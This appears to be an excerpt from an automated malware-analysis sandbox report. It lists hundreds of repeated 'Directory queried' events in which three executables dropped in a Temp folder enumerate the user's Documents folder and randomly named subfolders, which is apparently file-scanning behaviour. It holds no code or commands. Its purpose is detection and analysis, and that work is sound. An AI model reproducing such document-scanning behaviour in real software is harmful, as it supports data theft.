Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
